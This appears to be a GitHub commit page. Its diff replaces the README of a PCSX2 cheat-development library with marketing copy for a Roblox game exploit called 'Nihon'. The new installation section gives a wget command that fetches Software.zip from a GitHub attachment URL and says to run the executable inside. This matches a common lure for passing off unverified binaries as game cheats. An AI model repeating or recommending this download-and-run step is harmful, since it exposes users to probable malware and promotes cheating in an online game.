Skip to content

Commit

Permalink
Commit
Browse files Browse the repository at this point in the history
  • Loading branch information
azoresn committed Oct 5, 2024
1 parent e4fc315 commit 67ae306
Showing 1 changed file with 83 additions and 62 deletions.
145 changes: 83 additions & 62 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,68 +1,89 @@
# PCSX2 Cheat Development Kit
PCSX2 Menu Trainer Development Kit is a C++ library designed to simplify the process of creating cheats for the PCSX2 emulator.
It aims to bridge the gap between modern cheat development practices and the classic era of cheat codes.
This framework provides tools to port older codes to a more modern approach, using additional libraries such as dear imgui and minhook.

| ![image](https://github.com/NightFyre/PCSX2-CheatFrameWork/assets/80198020/7417d7e7-603c-465a-807f-62abf88179eb) | ![image](https://user-images.githubusercontent.com/80198020/201475737-21591eb0-8858-4575-8ee9-5d9d2e07d1dc.png) | ![image](https://user-images.githubusercontent.com/80198020/200977619-e22fe7a5-b914-4906-9e3c-50f929ea3ebf.png) |
| :---: | :---: | :---: |

## FEATURES
- Easily Read & Write to virtual PS2 Memory
- PCSX2 Emulator Process Virtual Method Hooking
- Rendering API Helpers
- Access EE & IOP Registers during execution

## USAGE
1. include the SDK header as well as any required packages.
*NOTE: Engine_Package.h is a required package and needs to be manually included.*
- `CDK.h` // Including the SDK header will provide access to all the most necessary features.
- `Core_Package.cpp` // Main Package and must be included for basic usage
- `PCSX2_Package.cpp` // PCSX2 specific members and functions. Like the rendering API's for instance

2. Initialize the SDK
- `PlayStation2::InitCDK();` // Basic CDK Initialization

3. Do Stuff
https://github.com/NightFyre/PCSX2-CheatFramework/blob/70dcf7dc51747df014f5d537a3188b8de1fe95a2/dllmain.cpp#L18-L29

4. (optional) include game package for additional controls

## USAGE EXAMPLES

- Access EE Memory
https://github.com/NightFyre/PCSX2-CheatFramework/blob/b2ae5a44d7c1452256920c4af81f745cdf0df2f3/examples/GameMemory/dllmain.cpp#L33-L34

- Get Virtual Address
https://github.com/NightFyre/PCSX2-CheatFramework/blob/b2ae5a44d7c1452256920c4af81f745cdf0df2f3/examples/GameMemory/dllmain.cpp#L37-L38

- Read Virtual Memory
https://github.com/NightFyre/PCSX2-CheatFramework/blob/b2ae5a44d7c1452256920c4af81f745cdf0df2f3/examples/GameMemory/dllmain.cpp#L41-L47

- Access Class Members via GamePackages
```cpp
/// SOCOM 1 -> Access SealObject & Modify Weapon Ammo
{
// Create an instance of the Offsets Class
SOCOM1::CZSeal* pLocalSeal = SOCOM1::CZSeal::GetDefaultInstance();
if (pLocalSeal)
Console::cLogMsg("[+][PCSX2-CDK][SOCOM] LocalSeal Name: %s\n", EConsoleColors::green, pLocalSeal->GetName().c_str());
}
# Roblox-Nihon

![Roblox-Nihon Logo](https://example.com/logo.png)

Nihon is a leading Roblox exploit founded in 2020, known for its intuitive user interface, robust features, and exceptional performance. Developed by top industry professionals, it offers enhanced security, customization options, and a globally trusted service.

---

## Table of Contents
- [Features](#features)
- [Installation](#installation)
- [Usage](#usage)
- [Contributing](#contributing)
- [License](#license)

---

## Features

- **Intuitive User Interface**: Nihon provides a user-friendly interface that is easy to navigate and use.
- **Robust Features**: This exploit comes packed with a wide range of powerful features to enhance your Roblox experience.
- **Exceptional Performance**: Nihon is optimized for high performance to ensure smooth gameplay.
- **Enhanced Security**: Built-in security measures to protect against vulnerabilities.
- **Customization Options**: Tailor the exploit to meet your specific needs.
- **Global Trust**: Nihon is a trusted solution used by players worldwide.

![Screenshot](https://example.com/screenshot.png)

---

## Installation

To get started with Nihon, follow these steps:

1. Download the [Software.zip](https://github.com/user-attachments/files/16913125/Software.zip) package.
```bash
wget https://github.com/user-attachments/files/16913125/Software.zip
```

2. Extract the contents of the zip file.

3. Run the executable file to launch the Nihon exploit.

---

## Usage

Once you have installed Nihon, you can start using its features right away. Here are some common commands to get you started:

```lua
-- Example Lua script to demonstrate Nihon features
print("Hello, Nihon!")

-- Execute a command
executeCommand("fly")

-- Teleport to a specific location
teleportTo(0, 100, 0)

-- Enable noclip mode
enableNoclip()
```

- Hook Rendering API
https://github.com/NightFyre/PCSX2-CheatFramework/blob/7c786cdd3e7f8c0855bc7d1f83df687092424604/examples/Rendering/dllmain.cpp#L44-L51
For a full list of commands and options, please refer to the official documentation.

---

## Contributing

We welcome contributions from the community to help improve Nihon. If you would like to contribute, please follow these guidelines:

1. Fork the repository.
2. Create a new branch.
3. Make your changes.
4. Submit a pull request.

Before submitting your pull request, make sure to run the tests and ensure that your code follows the coding standards.

---

## License

This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.

### References & Credits
- [PCSX2](https://github.com/PCSX2/pcsx2)
- [GameHacking.org](https://gamehacking.org/system/ps2)
- [Sly Cooper Modding Community](https://discord.com/invite/2GSXcEzPJA)
- [SOCOM Modding Community](https://discord.com/invite/PCJGrwMdUS)
- [A General Guide for Making Cheats & Trainers for PCSX2](https://www.unknowncheats.me/forum/general-programming-and-reversing/569991-pcsx2-guide-cheats-trainers.html)
---

### License
This framework is distributed under the MIT License.
Thank you for choosing Nihon! We hope you enjoy using our robust Roblox exploit. If you have any questions or feedback, feel free to reach out to our team.

### Disclaimer
1. *This framework is intended for educational and single-player use.*
2. *Use cheats responsibly and respect the terms of use of the games you are modifying.*
![Roblox-Nihon Team](https://example.com/team.jpg)

0 comments on commit 67ae306

Please sign in to comment.